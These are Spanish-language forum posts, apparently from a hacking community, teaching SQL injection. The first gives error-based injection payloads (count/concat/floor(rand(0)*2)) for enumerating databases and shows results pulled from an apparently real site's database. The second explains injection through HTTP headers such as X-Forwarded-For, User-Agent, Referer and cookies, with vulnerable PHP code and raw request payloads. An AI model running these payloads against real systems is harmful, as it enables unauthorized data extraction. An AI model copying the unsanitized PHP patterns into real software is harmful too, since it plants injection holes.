Ahora como influye este 0 con el resultado de la inyeccion? influye generando el error en la consulta.

Si comenzamos a realizar inyecciones vemos que solo una parte varia, y es el primer query, donde realizaremos nuestras consultas a la base de datos

1 and (select 1 from (select count(*),concat((select (INJECTION),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


=============================
Enumeracion de db's
=============================

Código: php
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--



Database: information_schema

Código: php
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 1,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--




Database: appcraft7_appcra



Vamos variando el resultado utilizando la funcion limit.

Asi podemos ir enumerando las tablas dentro de appcraft7_appcra, obteniendo informacion de columnas y campos dentro de las tablas, etc.

Espero que les haya sido de utilidad! un saludo comunidad!





#57
Cuando realizamos pruebas de variables en una aplicacion web en busca de vulnerabilidades del tipo SQLI o Blind SQLI nos limitamos a testearla solo mediante peticiones GET y POST pero nos olvidamos o desconocemos de otros parametros que pueden ser inyectados para obtener un lindo error de la DB que nos permita meterle jeringa hasta sacarle jugo a  toda la informacion posible.

¿Y los parametros de una cabecera HTTP? ¿no son inyectables?



Este es un analisis que se realizo usando varios scaneres de aplicaciones web de codigo abierto y comerciales, como se puede distinguir, el 75%  de estas herramientas no pudo encontrar una vulnerabilidad en los encabezados HTTP, por otro lado el 70% de estos scaneres no inspecciona las cookies. Generalmente y si no me queda mas que indagar en las cabeceras trato de buscar este tipo de vulns a mano limpia, como deberia hacerse con todo :)

Posibles encabezados HTTP para inyecciones SQL

Los campos de la cabecera HTTP




X-Forwarded-For

X-Forwarded-For es un campo de encabezado HTTP para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.

Vamos a ver un ejemplo de esta falla

Código: php
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");


La variable login es controlada por la funcion sanitize()

Código: php
function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } } 


Vamos a inspeccionar la variable ip controlada por la funcion ip_addr()

Código: php
function ip_adr() { if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } 



Obviamente, la dirección IP se obtiene del parametro X_FORWARDED_FOR. Luego es controlado por preg_match que verifica si el valor corresponde a una dirección IP

la variable HTTP_X_FORWARDED_FOR  no es verificada apropiadamente antes de su valor que se utiliza en la consulta SQL. Esto puede llevar a ejecutar cualquier consulta SQL mediante la inyección de código SQL arbitrario en este campo.

La simple modificación de este campo de encabezado a algo así como :}

Código: php
GET /index.php HTTP/1.1
X_FORWARDED_FOR :127.0.0.1' or 1=1#


User-Agent

Tambien podemos hacer uso de este parametro para verificar
GET /index.php HTTP/1.1
User-Agent: aaa' or 1/*

Referer

Código: php
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
Referer: http://underterminal.nixiweb.com


Cookie

Podemos testear el parametro cookie manualmente complementando algun addon en el navegador que nos permita hacer esto, como Cookies Manager+ o el Tamper Data, asi inyectamos una sqli en el campo content.








O usando alguna herramienta de automatizacion como Sqlmap






Espero que les haya servido muchachos! saludos!